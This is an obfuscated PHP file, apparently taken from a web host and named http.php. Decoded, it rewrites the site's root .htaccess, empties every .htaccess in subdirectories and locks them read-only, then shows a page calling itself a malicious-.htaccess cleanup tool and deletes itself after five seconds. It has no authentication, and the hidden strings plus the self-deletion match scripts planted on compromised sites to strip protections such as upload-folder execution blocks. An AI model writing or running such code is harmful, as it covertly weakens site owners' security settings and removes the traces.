File: /home/ascacl/pymia.agency/http.php
<?php
goto KLIqj; nMGlA: function restore_root_htaccess() { $defaultHtaccess = "\43\x20\x42\105\x47\111\116\x20\127\x6f\162\x64\120\x72\145\163\163\12\x3c\111\x66\115\157\144\165\x6c\145\x20\x6d\157\x64\x5f\x72\145\167\x72\151\164\x65\56\x63\x3e\12\x52\145\167\162\x69\164\145\105\156\x67\x69\x6e\x65\x20\117\x6e\12\122\x65\x77\x72\x69\x74\x65\x42\141\163\145\x20\57\12\122\x65\167\162\151\x74\x65\122\165\154\145\40\x5e\x69\156\144\145\x78\x5c\56\160\x68\160\x24\40\x2d\40\x5b\114\135\xa\122\x65\x77\x72\151\164\x65\103\157\x6e\144\x20\45\173\x52\x45\x51\x55\105\x53\124\137\x46\x49\x4c\105\x4e\x41\115\105\x7d\40\41\x2d\146\xa\122\145\167\x72\151\164\145\103\157\156\144\x20\45\x7b\x52\105\121\x55\x45\123\124\137\106\111\x4c\x45\116\101\115\105\x7d\40\x21\x2d\144\12\122\145\x77\162\x69\164\x65\x52\165\x6c\x65\40\x2e\x20\57\x69\x6e\x64\x65\x78\x2e\x70\x68\x70\x20\x5b\x4c\x5d\xa\74\x2f\111\x66\x4d\157\144\165\154\145\x3e\12\x23\x20\105\x4e\104\x20\127\x6f\x72\144\120\x72\x65\x73\163"; $htaccessPath = SITE_ROOT . "\x2f\56\x68\164\x61\143\143\145\163\163"; file_put_contents($htaccessPath, $defaultHtaccess); chmod($htaccessPath, 292); } goto nuToo; RBDhI: function self_destruct() { $scriptPath = __FILE__; if (file_exists($scriptPath)) { @chmod($scriptPath, 420); @unlink($scriptPath); return true; } return false; } goto fYEk0; sIViL: if (isset($_GET["\144\145\163\x74\162\x6f\x79"])) { if (self_destruct()) { die("\xe8\204\x9a\346\234\xac\xe5\267\xb2\346\x88\x90\345\x8a\x9f\xe5\210\240\xe9\231\xa4\xef\274\x81"); } else { die("\345\x88\240\351\231\xa4\350\x84\x9a\346\x9c\254\xe5\244\xb1\350\264\245\357\xbc\x8c\350\xaf\xb7\346\x89\213\345\x8a\250\xe5\x88\xa0\xe9\x99\xa4\357\274\x81"); } } goto za_Rx; U_Hvt: try { restore_root_htaccess(); $result .= "\74\160\x20\x73\x74\171\x6c\145\75\47\143\x6f\154\x6f\x72\x3a\x67\162\x65\x65\x6e\73\x27\x3e\342\234\x93\40\xe6\xa0\xb9\xe7\x9b\xae\xe5\275\225\x2e\150\164\141\143\x63\145\x73\x73\345\xb7\262\xe6\201\xa2\345\xa4\215\74\x2f\160\x3e"; $processedFiles = clear_subdir_htaccess(); $count = count($processedFiles); $result .= "\74\160\x20\x73\x74\x79\154\145\75\x27\x63\157\154\157\x72\72\147\x72\x65\145\x6e\x3b\47\76\xe2\x9c\223\x20\345\267\xb2\xe6\xb8\205\xe7\xa9\272\345\xb9\xb6\351\x94\x81\345\256\x9a\40{$count}\x20\344\xb8\xaa\345\255\220\xe7\x9b\256\345\xbd\x95\xe4\270\255\xe7\232\x84\56\x68\164\x61\143\143\x65\163\x73\346\226\x87\xe4\xbb\266\74\57\160\x3e"; if ($count > 0) { $result .= "\x3c\144\x65\x74\x61\x69\x6c\163\76\74\x73\x75\x6d\155\x61\x72\171\76\xe6\237\xa5\347\234\213\xe5\244\x84\xe7\220\206\xe7\232\x84\xe6\226\207\xe4\xbb\266\345\210\227\350\241\250\74\x2f\163\x75\x6d\155\141\162\171\x3e\74\x75\x6c\x3e"; foreach ($processedFiles as $file) { $result .= "\x3c\x6c\151\x3e{$file}\x3c\x2f\154\151\x3e"; } $result .= "\x3c\x2f\x75\x6c\76\74\57\144\145\164\141\x69\154\163\76"; } $result .= "\74\160\40\x73\164\171\154\x65\75\x27\x63\x6f\154\157\x72\x3a\147\x72\145\x65\x6e\73\40\146\x6f\x6e\164\55\x77\145\151\147\150\x74\x3a\142\157\x6c\x64\73\47\x3e\xe6\x93\x8d\344\xbd\x9c\346\x88\220\xe5\212\237\345\xae\x8c\346\210\220\xef\xbc\201\x3c\x2f\160\76"; } catch (Exception $e) { $result .= "\x3c\160\40\x73\x74\171\154\145\75\x27\143\x6f\x6c\x6f\x72\x3a\162\x65\x64\73\47\76\xe9\224\231\xe8\xaf\257\72\40" . htmlspecialchars($e->getMessage()) . "\x3c\x2f\160\76"; } goto JZsdQ; fYEk0: $result = "\x3c\150\63\76\346\223\x8d\344\xbd\234\xe7\xbb\223\xe6\x9e\x9c\xef\274\x9a\x3c\57\x68\x33\76"; goto U_Hvt; nuToo: function clear_subdir_htaccess($dir = SITE_ROOT) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); $processed = array(); foreach ($iterator as $path) { if ($path->isFile() && $path->getFilename() === "\56\x68\x74\x61\143\143\145\x73\163") { $fullPath = $path->getPathname(); if (dirname($fullPath) !== SITE_ROOT) { @file_put_contents($fullPath, ''); @chmod($fullPath, 292); $processed[] = htmlspecialchars($fullPath); } } } return $processed; } goto RBDhI; KLIqj: define("\123\x49\124\x45\x5f\122\x4f\x4f\124", realpath(__DIR__)); goto nMGlA; JZsdQ: echo "\x3c\x21\104\117\x43\x54\x59\120\105\x20\150\x74\x6d\154\x3e\12\74\x68\x74\155\x6c\76\xa\74\150\x65\x61\144\x3e\12\x20\40\40\40\74\x6d\145\x74\x61\x20\143\x68\141\x72\x73\x65\x74\75\x22\x55\124\x46\x2d\x38\x22\76\xa\x20\40\x20\x20\x3c\164\151\164\x6c\145\x3e\xe6\x81\xb6\xe6\x84\x8f\x2e\150\164\x61\143\143\145\x73\x73\xe6\270\x85\347\x90\x86\xe5\267\xa5\345\205\267\x3c\57\x74\151\x74\x6c\x65\76\12\40\x20\x20\x20\74\x73\x74\171\154\x65\76\12\x20\40\x20\x20\40\40\40\x20\x62\x6f\x64\171\x20\x7b\40\x66\x6f\x6e\x74\55\146\141\155\151\154\171\x3a\x20\101\162\x69\x61\x6c\x2c\40\x73\x61\156\x73\55\x73\145\x72\151\146\x3b\40\x6d\141\162\147\x69\x6e\x3a\x20\62\x30\160\x78\73\40\x7d\12\40\x20\x20\40\x20\x20\x20\40\56\x63\157\156\x74\141\151\x6e\x65\162\40\x7b\40\x6d\141\x78\x2d\167\x69\x64\164\150\72\x20\x38\x30\60\160\170\73\40\155\141\x72\147\x69\156\x3a\40\60\40\141\x75\164\157\x3b\x20\142\141\143\153\147\162\x6f\165\156\x64\72\x20\x23\146\71\x66\x39\x66\x39\73\x20\x70\141\144\x64\151\156\x67\72\x20\62\x30\160\170\73\40\142\157\x72\144\145\162\55\x72\x61\144\151\165\163\x3a\40\x35\160\x78\73\x20\x62\x6f\170\x2d\163\x68\141\x64\x6f\167\x3a\40\x30\40\60\40\x31\x30\160\x78\40\162\147\142\141\x28\x30\x2c\x30\x2c\60\54\60\x2e\61\x29\73\x20\175\12\40\40\40\x20\40\40\x20\x20\150\61\x20\173\x20\143\157\x6c\x6f\x72\x3a\x20\43\x33\x33\66\x36\x63\143\x3b\x20\x74\x65\170\164\x2d\141\154\151\147\156\72\x20\x63\x65\x6e\x74\145\x72\x3b\40\x7d\12\40\x20\40\40\x20\x20\x20\40\56\x72\145\x73\x75\154\164\x20\x7b\x20\x62\x6f\162\144\x65\x72\x3a\40\61\160\170\x20\x73\x6f\154\151\144\40\x23\144\144\x64\x3b\x20\x70\x61\144\x64\151\x6e\147\x3a\x20\61\x35\x70\x78\73\x20\x6d\x61\x72\x67\151\x6e\55\142\157\x74\164\157\155\72\40\x32\x30\160\170\73\40\x62\x61\x63\x6b\147\162\x6f\165\156\144\72\40\x77\150\x69\164\x65\x3b\x20\x7d\xa\40\40\40\x20\40\40\x20\40\x2e\x77\x61\x72\156\x69\156\x67\x20\x7b\40\x62\141\143\x6b\147\162\x6f\165\x6e\x64\72\40\x23\146\x66\x66\63\143\144\x3b\x20\x62\157\x72\x64\145\162\x2d\154\145\x66\164\72\x20\x34\x70\170\x20\x73\157\x6c\x69\144\x20\43\x66\x66\x63\61\x30\67\73\40\160\x61\x64\144\151\x6e\x67\72\x20\x31\60\160\x78\73\x20\155\x61\162\x67\151\x6e\x3a\x20\x31\65\160\170\40\x30\73\x20\x7d\12\40\x20\x20\x20\x20\40\x20\x20\56\143\157\165\x6e\x74\x64\x6f\x77\x6e\40\173\x20\142\141\143\153\x67\x72\x6f\x75\156\144\x3a\40\43\144\64\145\144\144\141\73\40\x74\145\x78\164\55\141\154\x69\x67\156\72\x20\143\145\x6e\164\x65\162\x3b\40\x70\141\x64\x64\151\156\x67\72\40\x31\65\x70\170\73\40\x66\x6f\156\164\x2d\x77\x65\x69\147\150\x74\72\40\142\x6f\x6c\x64\73\40\x7d\xa\40\40\x20\x20\40\40\x20\x20\165\x6c\x20\173\x20\x6d\141\x78\x2d\150\145\151\x67\x68\x74\x3a\x20\x32\x30\60\x70\170\73\x20\x6f\166\145\162\x66\154\x6f\167\55\x79\x3a\x20\141\x75\x74\x6f\x3b\x20\x7d\xa\40\x20\40\40\x3c\57\163\x74\x79\x6c\x65\x3e\xa\x3c\57\x68\145\141\x64\76\xa\x3c\142\157\x64\x79\x3e\12\40\x20\x20\x20\x3c\x64\151\166\40\143\x6c\x61\163\163\x3d\42\x63\x6f\156\164\141\151\x6e\145\162\42\x3e\12\40\x20\40\x20\x20\x20\x20\x20\74\150\61\x3e\xe6\201\266\346\204\217\x2e\150\164\x61\143\143\x65\x73\x73\346\270\x85\xe7\220\206\345\xb7\245\xe5\205\xb7\x3c\57\x68\x31\76\12\40\x20\40\x20\40\x20\40\40\12\40\x20\x20\40\x20\40\x20\40\74\144\x69\166\40\x63\154\141\163\x73\75\42\x72\x65\163\x75\x6c\164\42\x3e\xa\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20{$result}\12\40\x20\40\x20\x20\x20\40\40\74\x2f\x64\x69\166\x3e\xa\x20\x20\x20\40\x20\x20\x20\x20\xa\40\40\x20\x20\40\40\40\40\74\144\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\x77\141\162\x6e\x69\156\x67\42\76\12\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\74\x70\76\74\163\x74\x72\x6f\x6e\x67\76\345\256\211\xe5\205\250\xe6\x8f\x90\xe7\244\xba\357\xbc\x9a\x3c\57\163\x74\x72\157\156\x67\x3e\x20\xe6\234\254\350\x84\x9a\xe6\x9c\254\345\267\xb2\xe5\xae\214\346\210\220\xe6\223\215\344\275\234\xef\xbc\214\xe5\260\206\xe5\x9c\250\40\74\163\x70\x61\x6e\x20\151\144\x3d\42\x63\x6f\x75\x6e\164\x64\x6f\167\156\x22\x3e\x35\74\x2f\163\x70\141\x6e\76\x20\xe7\247\x92\xe5\220\x8e\350\x87\252\xe5\x8a\xa8\351\x94\x80\xe6\257\201\xe3\x80\202\74\x2f\x70\x3e\12\x20\x20\40\x20\x20\40\40\x20\40\40\40\40\x3c\160\x3e\345\246\x82\346\236\234\xe5\200\222\xe8\xae\241\xe6\227\xb6\346\x9c\xaa\350\207\252\xe5\212\250\345\210\xa0\xe9\x99\244\xe8\204\232\xe6\x9c\xac\357\274\x8c\xe8\xaf\xb7\346\211\213\345\x8a\xa8\345\210\xa0\351\x99\244\x20\74\143\157\x64\x65\76{$_SERVER["\x53\103\x52\x49\120\x54\137\x46\x49\114\x45\116\101\x4d\x45"]}\x3c\x2f\143\x6f\144\x65\76\74\x2f\160\x3e\12\40\x20\40\x20\40\x20\40\x20\x3c\57\x64\x69\166\x3e\12\x20\x20\x20\40\x20\x20\40\40\12\40\x20\40\x20\x20\40\40\x20\74\x64\151\166\x20\x69\144\x3d\42\x66\x69\x6e\141\x6c\115\145\163\163\141\x67\145\x22\x20\143\x6c\141\x73\163\x3d\x22\x63\x6f\x75\x6e\x74\x64\x6f\167\156\42\x20\x73\164\x79\x6c\x65\75\42\x64\151\163\160\154\x61\x79\72\156\x6f\156\x65\x3b\x22\x3e\xa\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\xe8\x84\232\xe6\234\254\xe5\267\xb2\346\x88\x90\345\212\x9f\xe5\x88\xa0\351\231\244\357\274\201\xe8\257\xb7\xe5\x85\xb3\xe9\x97\255\xe6\255\xa4\xe9\xa1\265\xe9\x9d\xa2\xe3\200\x82\xa\40\40\40\x20\x20\40\40\x20\x3c\x2f\144\x69\x76\76\xa\40\40\x20\x20\x3c\57\x64\151\x76\x3e\xa\40\x20\40\40\12\40\40\x20\40\74\163\x63\x72\151\x70\164\76\12\40\40\40\x20\x20\40\x20\x20\x6c\x65\164\x20\x73\x65\143\x6f\156\144\x73\40\x3d\40\65\73\xa\40\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\164\40\x63\157\x75\156\x74\144\157\167\156\x45\154\40\75\40\x64\x6f\x63\x75\155\x65\156\164\56\147\145\x74\x45\154\x65\155\145\x6e\164\x42\x79\111\x64\50\x27\143\x6f\x75\156\x74\144\157\x77\156\47\x29\73\xa\40\40\x20\x20\40\40\40\x20\x63\157\156\x73\164\40\x63\157\165\x6e\164\144\157\x77\x6e\111\x6e\x74\x65\x72\x76\141\x6c\40\x3d\40\x73\145\x74\x49\x6e\164\145\x72\x76\141\x6c\50\x28\x29\x20\75\76\x20\173\xa\x20\x20\x20\40\40\40\40\40\40\40\40\40\x73\145\x63\157\156\144\x73\x2d\x2d\73\12\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x63\157\165\156\164\144\x6f\x77\156\x45\154\56\164\145\x78\164\103\157\x6e\x74\x65\156\x74\40\x3d\x20\x73\x65\143\x6f\156\x64\163\x3b\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x69\146\40\x28\x73\x65\143\x6f\156\144\x73\x20\x3c\75\x20\x30\51\x20\x7b\xa\x20\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\40\x20\40\143\154\145\141\x72\111\156\x74\x65\x72\166\141\x6c\50\143\x6f\165\156\x74\144\x6f\x77\156\111\156\x74\145\x72\166\141\x6c\51\x3b\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\x2f\x2f\x20\350\247\xa6\xe5\x8f\x91\xe8\207\xaa\xe6\xaf\201\xe8\xaf\xb7\xe6\xb1\x82\xa\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x63\x6f\156\163\164\40\170\x68\x72\40\75\40\156\x65\x77\40\x58\x4d\x4c\x48\164\164\x70\x52\145\161\x75\x65\163\164\50\x29\x3b\12\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\170\150\x72\56\x6f\x70\x65\x6e\x28\47\107\x45\x54\47\54\x20\47{$_SERVER["\x50\x48\120\137\123\x45\114\106"]}\x3f\144\145\x73\x74\x72\157\x79\75\61\47\54\x20\164\x72\165\145\x29\x3b\12\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x78\150\162\56\x6f\156\154\157\x61\x64\40\75\x20\146\165\156\143\x74\x69\157\x6e\x28\x29\40\173\12\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x69\x66\40\50\170\x68\162\56\x73\x74\141\164\x75\163\40\75\x3d\x3d\x20\62\x30\60\51\x20\x7b\12\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x64\x6f\x63\165\x6d\145\156\x74\56\x71\x75\x65\x72\x79\123\145\x6c\145\x63\164\157\x72\50\47\x2e\x77\141\x72\156\151\x6e\147\x27\x29\56\x73\164\x79\x6c\x65\x2e\x64\151\x73\x70\154\141\x79\40\x3d\x20\x27\156\157\156\145\47\x3b\xa\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\144\157\143\x75\x6d\x65\156\x74\56\x67\145\x74\105\x6c\145\x6d\x65\156\x74\x42\x79\111\144\x28\47\x66\151\156\141\x6c\x4d\x65\x73\163\x61\x67\145\x27\x29\x2e\x73\164\x79\x6c\x65\56\x64\x69\163\160\x6c\141\171\40\75\40\x27\142\x6c\157\x63\x6b\x27\x3b\xa\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\175\40\145\154\x73\145\x20\173\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x64\x6f\143\165\155\145\156\x74\x2e\x71\x75\x65\162\171\123\x65\x6c\x65\x63\x74\157\162\x28\x27\56\x77\141\x72\156\151\156\147\47\51\x2e\x69\x6e\156\x65\162\x48\124\x4d\114\x20\75\x20\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\47\74\160\40\163\164\171\154\145\x3d\42\143\157\154\157\x72\x3a\x72\x65\x64\73\42\x3e\345\x88\240\xe9\x99\244\345\xa4\261\350\xb4\245\357\xbc\x81\xe8\xaf\267\346\x89\x8b\xe5\212\xa8\345\x88\xa0\xe9\231\244\350\x84\232\346\234\254\346\226\207\xe4\xbb\266\xe3\x80\x82\74\x2f\x70\x3e\x27\40\53\x20\12\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\144\x6f\143\165\155\145\156\x74\x2e\161\165\145\162\x79\123\145\154\x65\x63\164\157\x72\50\47\56\167\x61\x72\x6e\x69\x6e\x67\47\51\x2e\151\x6e\156\145\x72\x48\x54\115\x4c\x3b\12\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\175\12\40\40\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\175\73\12\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\170\x68\x72\x2e\x73\x65\156\144\50\x29\x3b\12\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\175\xa\x20\x20\x20\40\x20\40\x20\x20\x7d\x2c\x20\x31\x30\x30\60\x29\73\12\40\40\x20\40\74\57\163\143\162\151\160\x74\76\12\74\x2f\142\157\x64\x79\x3e\12\74\x2f\x68\164\x6d\154\76"; goto sIViL; za_Rx: ?>